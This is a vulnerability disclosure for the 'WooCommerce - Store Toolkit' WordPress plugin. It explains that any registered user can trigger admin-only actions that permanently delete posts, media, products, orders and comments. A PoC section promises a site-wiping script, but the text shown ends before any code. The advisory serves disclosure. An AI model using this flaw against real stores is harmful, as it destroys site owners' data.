Description
-----------

The plugin "WooCommerce - Store Toolkit" for WordPress suffers from a
privilege escalation vulnerability.

An attacker must have a valid user account which is possible simply by
registering to the infected website. This is possible because this
plugin must be installed in a website with WooCommerce plugin to be any
of use. Since WooCommerce is an e-store plugin allows user registration
by default, so we assume that all websites that have the "WooCommerce -
Store Toolkit" plugin are also open to user registration.

As long as an attacker have an active account at the infected website he
can perform the attack at ease because no action validation is taking
place from the "WooCommerce - Store Toolkit" plugin. The "WooCommerce -
Store Toolkit" plugin is designed to perform a set of actions like:

- Permanently delete all posts, post categories and post tags
- Permanently delete all media (attachments)
- Permanently delete all products, product categories, product tags and
attributes
- Permanently delete all orders
- Permanently delete all comments

All these actions they normally require administrative wrights. But in
this case any registered user can perform these actions, even with the
most limited wrights, therefor this issue is considered as an Privilege
Escalation vulnerability.

PoC
---

The following script will nuke nearly all site content from
`example.com` using the account with username:`username` and
password:`password`. This has to be an already registered account for
this to work.
